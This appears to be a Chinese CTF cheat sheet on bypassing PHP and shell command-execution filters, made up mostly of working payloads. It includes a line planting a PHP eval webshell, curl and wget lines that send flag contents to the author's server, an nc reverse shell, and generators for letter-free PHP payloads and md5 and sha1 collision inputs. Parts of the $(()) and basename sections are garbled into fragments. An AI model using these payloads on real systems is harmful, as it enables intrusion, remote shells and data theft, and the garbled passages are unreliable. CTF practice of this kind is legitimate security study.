RCE定义: 利用软件漏洞执行远程代码
RCE可以分为两种主要形式:远程命令执行和远程代码执行
RCE的绕过
LINUX系统的管道符:
1、" ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 显示后面的语句的执行结果。
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
注:windows没有";"
过滤空格、引号、关键字等
替代法
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
linux命令大全:https://www.runoob.com/linux/linux-command-manual.html
使用Shell特殊变量 ∗ 和 *和 ∗和@, x , x, x,{x}绕过(x指任意值)
ca$*t flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php
拼接绕过
a=fl;b=ag;cat $a$b
(sy.(st).em)('ls')
c''a''t /flag.php
c""a""t /flag.php
c``a``t /flag.php
c\a\t /flag.php
绕过空格:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
编码绕过(base64、8进制、16进制)
//base64_encode('cat')==Y2F0
`echo 'Y2F0' | base64 -d` flag //cat /flag
//8进制
$(printf "\154\163") //ls
//16进制 , xxd -r -p:xxd 是一个十六进制转换工具,这里的 -r -p 选项表示将十六进制转换成原始二进制数据。bash:将二进制数据传递给 bash 命令执行。
echo "636174202f666c6167" | xxd -r -p|bash //cat /flag
?和*绕过
cat /f???
cat /f*
cat /flag
//这三条命令等价
内联执行绕过
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
%0a换行绕过
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']); //将level替换成注释
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
输入?aaa=%0Afpass_the_level_1%23
即可绕过
插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
system/*A10ng_*/(whoami);
system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);
(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi);
多次传参绕过引号
GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);
利用$PATH环境变量绕过
解决无回显函数
用压缩、复制、写shell等方法对其进行绕过
copy flag 1.txt
mv flag 1.txt
nl flag |tee 1.txt
cat flag > 1.txt
tar zcvf flag.tar.gz flag
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php eval($_POST[123]);?>" > webshell.php
用vps建立记录脚本
1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码:
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>
2、然后构造请求,请求后查看自己服务器的flag.txt文件
curl http://*.*.*.**/record.php?data=`cat flag`
wget http://*.*.*.**/record.php?data=`cat flag`
nc反弹shell
nc -lvvp 7777 //nc监听7777端口
nc -e /bin/bash 192.168.225.130 7777 //ip地址是攻击端的ip
>/dev/null 2>&1类无回显
用分隔符进行分割即可绕过
http://127.0.0.1/?pay=ls||
无字母RCE
利用PHP动态函数的特性,构造出字符串。
POST传参:$_="0302181"^"@[@[_^^";$_();
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = "phpinfo"
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print('\"'+tmp1+'\"'+'^'+'\"'+tmp2+'\"')
#mess=$_="0302181"^"@[@[_^^";$_();
无字母数字RCE
代码示例:
<?php
error_reporting(0);
// 显示文件内容
highlight_file(__FILE__);
// 获取用户输入的代码
$code = $_GET['code'];
// 如果输入包含字母或数字,则拒绝执行
if(preg_match('/[a-z0-9]/i', $code)){
die('Invalid input');
}
// 执行用户输入的代码
eval($code);
使用url取反绕过
<?php
echo urlencode(~'system'); //%8C%86%8C%8B%9A%92
echo "\n";
echo urlencode(~'cat /f*'); //%9C%9E%8B%DF%D0%99%D5
//(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5)
?>
异或绕过
1、首先用php脚本生成包含所有可见字符的异或构造结果
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
2、然后用python脚本生成我们的payload
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("res.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
$(())绕过(要求输入数字时)
1、在Linux里,$(())代表0。
对于正整数和0,取反的结果是其本身加1的负数,对于负整数,取反的结果是其本身加1的绝对值。
2、例如LitCTF-百万美元的诱惑中要求我们输入12这个数,虽然过滤了很多符号,但是我们可以使用
(
(
)
)
绕过,
12
就是
13
个
‘
(())绕过,12就是13个`
(())绕过,12就是13个‘((~$(())))`再进行一次取反
3、这里我们使用python脚本进行构造:
Invert_Num = '$(( ~$(({})) ))' # 取反操作
Num1 = '$((~$(()))) ' #-1
payload = Invert_Num.format(Num1*13)
print(payload)
$_++自增绕过
1、首先"A"++ ==> “B”、“B”++ ==> “C”
那么如果我们能够得到"A",那么我们就能通过自增,得到所有的字母。
2、那么怎么得到字符"A"?在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
<?php
$a = ''.[];
var_dump($a);
//输出Array
因此有payload:
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
POST请求体传入:
_=phpinfo();
回溯绕过
php正则的回溯次数大于1000000次时返回False
脚本如下:
import requests
param = '$'*1000000 + '12' #12这个位置是你想执行的命令
response = requests.post(r'http://node1.anna.nssctf.cn:28285/dollar.php',params=param)
print(response.text)
无参数RCE
核心代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
正则表达式[^\W]+\((?R)?\)
解释:
[^\W]+
:
方括号 [ ]:定义一个字符类,匹配方括号中的任意字符。
脱字符 ^:在字符类的开头表示取反,匹配不在字符类中的字符。
\W:匹配任意非单词字符,相当于 [^a-zA-Z0-9_]
。但因为脱字符 ^ 的存在,\W 被反转,因此匹配单词字符 [a-zA-Z0-9_]
。
+:量词,表示前面的元素(在这里是字符类)匹配一次或多次。
所以,[^\W]+ 实际上匹配一个或多个单词字符。
(:紧接着匹配一个左括号 (
(?R)?:递归地匹配整个正则表达式(匹配一个嵌套的结构)。
):匹配一个右括号 )
举个例子:传递参数a(b(c()));
,经过第一轮匹配还剩下a(b());
,第二轮匹配后还剩下a();
,第三轮匹配后还剩下;
,符合正则表达式的要求,那么a(b(c()));
可以执行。简而言之,无参数rce就是不使用参数,只使用一个个函数最终达到目的。
相关函数介绍
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
php数组操作函数:
next() 函数将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
current() - 返回数组中的当前元素的值。
end() - 将内部指针指向数组中的最后一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动
利用这些函数,我们可以构造出无参数的 RCE payload。以查看当前目录下文件为例:
var_dump(scandir(current(localeconv())));
解释:
localeconv() 返回包含本地数字及货币格式信息的数组,第一个元素为小数点 .
。
current(localeconv()) 取数组中的第一个元素,即 .
。
scandir(current(localeconv())) 等价于 scandir('.')
,列出当前目录下的文件和目录
一些函数的绕过
绕过basename
定义和用法
basename() 函数返回路径中的文件名部分并且会删除文件名开头的非 ASCII 字符。
语法
basename(path,suffix)
参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。
php官网的例子:
<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>
以上示例会输出:
1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)
绕过
这里借助[鹤城杯 2021]EasyP进行演示
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
代码会对
G
E
T
[
′
s
h
o
w
s
o
u
r
c
e
′
]
进行检查,所以利用
b
a
s
e
n
a
m
e
的特性,输入
i
n
d
e
x
.
p
h
p
/
u
t
i
l
s
.
p
h
p
即可绕过第一层,这是因为
b
a
s
e
n
a
m
e
会把前面的
i
n
d
e
x
.
p
h
p
当成路径,只是返回
u
t
i
l
s
.
p
h
p
。对于第二层,当前的
_GET['show_source']进行检查,所以利用basename的特性,输入index.php/utils.php即可绕过第一层,这是因为basename会把前面的index.php当成路径,只是返回utils.php。 对于第二层,当前的
GET[′showsource′]进行检查,所以利用basename的特性,输入index.php/utils.php即可绕过第一层,这是因为basename会把前面的index.php当成路径,只是返回utils.php。对于第二层,当前的_SERVER[‘REQUEST_URI’]和
S
E
R
V
E
R
[
′
P
H
P
S
E
L
F
′
]
的值是一样的,区别在于
∗
∗
_SERVER['PHP_SELF']的值是一样的,区别在于**
SERVER[′PHPSELF′]的值是一样的,区别在于∗∗_SERVER[‘REQUEST_URI’]包含了完整的 URI,包括查询参数,而$_SERVER[‘PHP_SELF’]**只返回当前执行脚本的文件名,不包含查询参数。
还有一点:php传递参数时,如果包含点 空格和中括号,那么会被转换为下划线。
所以构造payload:http://node4.anna.nssctf.cn:28492/index.php/utils.php/呵呵?show[source
绕过intval
1、当某个数字被过滤时,可以使用8进制/16进制、增加小数位、拼接字符串、两次取反、算数运算符来绕过
2、如果遇到if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
时,可以a[]=‘’
3、intval函数在php7.2.5以下的某个版本前,无法正确解析科学计数法e的,但是与一个数运算后,php又可以正常解析。于是当我们碰到if(intval($num) < 2020 && intval($num + 1) > 2021)
的题时,可以传入$num=1e4
,这样在加1前num的值是1,加1后是10001。
md5的绕过
a = = m d 5 ( a==md5( a==md5(a)
0e215962017
的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
md5弱比较绕过
常见的验证方式:
if( a != b && md5(a) == md5(b) )
方法一:
这儿md5(a)和md5(b)两数如果满足科学计数法的形式的话,php会将其当作科学计数法所得的数字来进行比较。例如:
md5(QNKCDZO)
0e830400451993494058024219903391
可以看见QNKCDZO的md5值是0e开头满足科学计数法的表示形式,而0e的值始终为0
因此,只要字符串经md5后满足科学计数法的0e开头,他们在比较时就会被认定为相等。(只对比较有效,不适用于===)
下面给出一些相等的md5数值:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
方法二:
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
也就是说a[]=1&b[]=2 该验证依然可以绕过
md5强碰撞绕过
if((string)$_POST['array1']!==(string)$_POST['array2'] && md5($_POST['array1'])===md5($_POST['array2'])){
echo("success!);
}
这里和弱比较的区别就是多了一个string转换,导致无法绕过==
我们可以传入两个数即可绕过
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
sha1强碰撞绕过
sha1与md5一样
如果是强比较,没有转为string,可以用数组进行绕过,例如 a[]=1&b[]=2,也可以用强碰撞
如果是强比较,转为string,只能用强碰撞
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
strcmp函数绕过
<?php
$id=$_GET['id'];
if(strcmp($secret,$id)==0){
echo 'ooooh!';
}
绕过原理:利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0
当传入?id[]=1
时即可绕过
参考文章: https://blog.youkuaiyun.com/qq_41315957/article/details/118855865 https://blog.youkuaiyun.com/2301_76690905/article/details/134533626 https://blog.youkuaiyun.com/2301_76690905/article/details/134533626